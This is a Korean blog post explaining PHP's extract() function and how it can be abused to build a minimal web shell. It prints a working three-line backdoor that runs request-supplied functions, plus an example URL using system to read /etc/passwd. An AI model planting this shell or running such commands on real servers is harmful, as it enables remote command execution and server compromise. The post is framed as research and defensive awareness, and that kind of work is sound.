KOROMOON

착한 사마리아인이 되고 싶습니다.

7/14/2020

extract() 함수를 이용한 PHP WebShell


※ 주의사항 : 

악용하지 마세요!!!
해당 글은 연구 목적으로 기재하였습니다.
악의적인 목적으로 이용할 시 발생할 수 있는 법적 책임은 자신에게 있습니다.



( 1 ) extract() 함수


배열 속의 키값을 변수화 시켜주는 함수로 배열에서 현재 심볼 테이블로 변수를 가져옴.

각 키에 유효한 변수 이름이 있는지 확인함. 또한, 기호 테이블에서 기존 변수와 충돌을 확인함.
반환값은 심볼 테이블로 성공적으로 가져온 변수 수를 반환함.


extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int

array

필수! 사용하는 배열을 지정함
각 키/값을 쌍으로 현재 기호 테이블에 변수 flags 및 prefix 매개 변수에 따라 변수를 만듬.

flags

유효하지 않은 숫자 키와 충돌이 처리되는 방식을 추출에 의해 결정됨.
flags 는 아래 다음 값 중 하나일 수 있음. flags 가 지정하지 않으면 EXTR_OVERWRITE 로 간주됨.

    EXTR_OVERWRITE

    출돌이 있으면 기존 변수를 덮어씀.

    EXTR_SKIP

    충돌이 있으면 기존 변수를 덮어쓰지 않음.

    EXTR_PREFIX_SAME

    충돌이 있으면 변수 이름 앞에 prefix 접두사를 붙임.

    EXTR_PREFIX_ALL

    모든 변수 이름은 prefix 접두사를 붙임.

    EXTR_PREFIX_INVALID

    유효하지 않은 숫자 변수 이름 앞에만 prefix 접두사를 붙임.

    EXTR_IF_EXISTS

    변수가 현재 기호 테이블에 이미있는 경우에만 덮어씀.
    그렇지 않으면 아무것도 수행하지 않음.
    ex. 유효한 변수 목록을 정의한 다음 $_REQUEST 에서 정의한 변수만 추출하는 데 유용함.

    EXTR_PREFIX_IF_EXISTS

    동일한 변수의 접두사가 없는 버전이 현재 기호 테이블에 존재하는 경우 접두사가 붙은 변수 이름만 작성함.

    EXTR_REFS

    변수를 참조로 추출함.
    이는 효과적으로 가져온 변수의 값이 여전히 array 매개 변수 값을 참조하고 있음을 의미함.

prefix

prefix 는 flags 가 EXTR_PREFIX_SAME, EXTR_PREFIX_ALL, EXTR_PREFIX_INVALID, EXTR_PREFIX_IF_EXISTS 일때만 요구됨. 앞 첨가된 변수가 유효한 변수명이 아니면 심볼테이블에 입력되지 않음.



( 2 ) extract() 함수를 이용한 PHP WebShell



<?php
@extract ($_REQUEST);
@die ($a($b));
?>
< extract() 함수를 이용한 PHP WebShell 코드 >


URL 입력 : hxxp://사이트 주소/webshell.php?a=system&b=cat /etc/passwd
< 실행한 화면 >

extract() 함수는 배열 속의 키 값을 변수화 시켜주는 함수임.

위 코드를 보면 extract() 함수를 통해 다음 줄에 있는 a 변수 값와 b 변수 값을 설정하여 전송된 내용을 추출함.
a 변수 값에 system 문자열을 넣고 b 변수 값에 원하는 코드 문자열(ex. cat /etc/passwd)을 넣으면 system(코드 문자열) 결과값이 출력됨.



참고 사이트 : 

https://www.php.net/manual/en/function.extract.php
https://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html



============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기